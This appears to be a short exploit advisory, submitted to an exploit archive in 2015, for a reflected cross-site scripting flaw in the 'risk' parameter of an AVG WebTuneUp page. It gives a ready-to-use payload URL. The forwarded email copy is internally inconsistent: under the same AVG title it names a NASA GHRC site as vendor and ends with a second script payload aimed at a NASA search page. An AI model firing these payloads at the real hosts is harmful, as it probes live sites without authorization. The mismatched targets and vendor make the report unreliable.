AVG's WebTuneUp subdomain suffers from a cross site scripting vulnerability.
43d7cd5c162b77537f05b5d968b3b52ee7aad7f25505e3163df548749d567027
# Exploit Title: AVG Subdomain XSS Vulnerability
# Google Dork: N/A
# Date: 2015/12/29
# Exploit Author: RootByte
# Vendor Homepage: http://webtuneup.avg.com/
# Software Link: N/A
# Version: N/A
# Tested on: Windows 10 / FireFox
# CVE : N/A
~ # Vulnerable Location: http://webtuneup.avg.com/static/dist/app/4.0.5.0/interstitial.html
~ # Variable: risk
~ # Using this script for XSS Vunerability Testing :
<img src=x onerror=alert('RootByte')>&searchParams={"lang":"en","pid":"pid","v":" vv"}
~ # Our Finally address is
webtuneup.avg.com/static/dist/app/4.0.5.0/interstitial.html?risk=<img src=x onerror=alert('RootByte')>&searchParams={"lang":"en","pid":"pid","v":" vv"}
# Discovered by: RootByte
# Page: https://www.facebook.com/Rootbyte/
# Contact: https://www.facebook.com/groups/RootByte/
RootByte: Pentester | Security Researcher
-------- Original Message --------
Subject: AVG Subdomain XSS Vulnerability
Local Time: December 31 2015 10:10 am
UTC Time: December 31 2015 6:10 pm
From: RootByte@protonmail.com
To: submissions@packetstormsecurity.com
# Exploit Title : AVG Subdomain XSS Vulnerability
# Exploit Author : RootByte
# Date : 2015/12/29
# Tested on : FireFox
# Vendor HomePage : https://ghrc.nsstc.nasa.gov/
# Google Dork : use your brain
# Category : Web Application
~ # Vulnerable Location: http://webtuneup.avg.com/static/dist/app/4.0.5.0/interstitial.html
~ # Variable: risk
~ # Using this script for XSS Vunerability Testing :
<img src=x onerror=alert('RootByte')>&searchParams={"lang":"en","pid":"pid","v":" vv"}
~ # Our Finally address is
:https://ghrc.nsstc.nasa.gov/hydro/search.pl?hydro&pr=%3Cscript%3Ealert%28%274TT4CK3R%27%29%3C/script%3E
# Discovered by : RootByte
# Page: https://www.facebook.com/Rootbyte/
# Contact: https://www.facebook.com/groups/RootByte/
RootByte: Pentester | Security Researcher